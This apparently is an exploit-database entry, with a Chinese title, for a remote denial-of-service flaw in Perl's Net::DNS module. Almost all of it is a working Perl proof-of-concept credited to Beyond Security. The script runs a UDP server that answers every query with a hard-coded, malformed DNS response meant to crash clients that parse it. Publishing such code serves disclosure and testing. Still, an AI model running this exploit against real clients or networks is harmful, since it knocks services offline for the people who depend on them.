Perl Net::DNS DNS应答远程拒绝服务漏洞

#!/usr/bin/perl # Beyond Security(c) # Vulnerability found by beSTORM - DNS Server module use strict; use IO::Socket; my($sock, $oldmsg, $newmsg, $hisaddr, $hishost, $MAXLEN, $PORTNO); $MAXLEN = 1024; $PORTNO = 5351; $sock = IO::Socket::INET->new(LocalPort => $PORTNO, Proto => 'udp') or die "socket: $@"; print "Awaiting UDP messages on port $PORTNO\n"; my $oldmsg = "\x5a\x40\x81\x80\x00\x01\x00\x01\x00\x01\x00\x01\x07\x63\x72\x61". "\x63\x6b\x6d\x65\x0a\x6d\x61\x73\x74\x65\x72\x63\x61\x72\x64\x03". "\x63\x6f\x6d\x00\x00\x01\x00\x01\x03\x77\x77\x77\x0e\x62\x65\x79". "\x6f\x6e\x64\x73\x65\x63\x75\x72\x69\x74\x79\x03\x63\x6f\x6d\x00". "\x00\x01\x00\x01\x00\x00\x00\x01\x00\x04\xc0\xa8\x01\x02\x0e\x62". "\x65\x79\x6f\x6e\x64\x73\x65\x63\x75\x72\x69\x74\x79\x03\x63\x6f". "\x6d\x00\x00\x02\x00\x01\x00\x00\x00\x01\x00\x1b\x02\x6e\x73\x03". "\x77\x77\x77\x0e\x62\x65\x79\x6f\x6e\x64\x73\x65\x63\x75\x72\x69". "\x74\x79\x03\x63\x6f\x6d\x00\x02\x6e\x73\x0e\x62\x65\x79\x6f\x6e". "\x64\x73\x65\x63\x75\x72\x69\x74\x79\x03\x63\x6f\x6d\x00\x00\x01". "\x00\x01\x00\x00\x00\x01\x00\x01\x41"; while ($sock->recv($newmsg, $MAXLEN)) { my($port, $ipaddr) = sockaddr_in($sock->peername); $hishost = gethostbyaddr($ipaddr, AF_INET); print "Client $hishost said ``$newmsg''\n"; $sock->send($oldmsg); $oldmsg = "[$hishost] $newmsg"; } die "recv: $!";